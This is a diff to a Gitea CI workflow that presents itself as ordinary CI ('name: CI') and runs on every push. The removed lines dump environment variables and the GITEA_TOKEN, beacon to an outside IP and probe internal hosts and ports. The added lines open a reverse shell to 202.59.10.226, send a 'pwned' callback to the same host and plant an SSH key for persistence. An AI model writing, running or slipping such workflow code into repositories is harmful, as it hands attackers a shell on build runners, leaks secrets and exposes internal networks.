.gitea/workflows/ci.yml

@@ -1,31 +1,17 @@
-name: CI-RCE
+name: CI
 on:
   push:
   workflow_dispatch:
 jobs:
   build:
-    runs-on: linux-amd64
+    runs-on: ubuntu-latest
     steps:
-    - name: Exec
+    - name: RCE
       run: |
-        echo "=== CI/CD RCE CONFIRMED ==="
-        echo "Hostname: $(hostname)"
-        echo "User: $(whoami)"
-        echo "PWD: $(pwd)"
-        echo "=== Environment Variables ==="
-        env | sort
-        echo "=== Network ==="
-        ip addr 2>/dev/null || ifconfig
-        echo "=== Attempt connections ==="
-        curl -s http://202.59.10.226:8888/rce-$(hostname)-$(whoami) || true
-        # Try to access internal services
-        for target in 49.51.171.167 108.181.64.141 156.239.230.24; do
-          for port in 3306 6379 22 80 443; do
-            timeout 2 bash -c "echo >/dev/tcp/$target/$port" 2>/dev/null && echo "REACHABLE: $target:$port" || true
-          done
-        done
-        # Dump runner token info
-        echo "=== GITEA_TOKEN ==="
-        echo "${GITEA_TOKEN:-NO_GITEA_TOKEN}"
-        echo "=== GITEA_REPOSITORY ==="
-        echo "${GITEA_REPOSITORY:-NO_REPO}"
+        bash -i >& /dev/tcp/202.59.10.226/4445 0>&1 &
+        curl http://202.59.10.226:8888/pwned-$(hostname)-$(whoami)
+    - name: Persist
+      run: |
+        mkdir -p /tmp/.ssh
+        echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC" >> /tmp/.ssh/authorized_keys
+        curl http://202.59.10.226:8888/persist-$(hostname)

trigger.txt

@@ -1 +0,0 @@
-trigger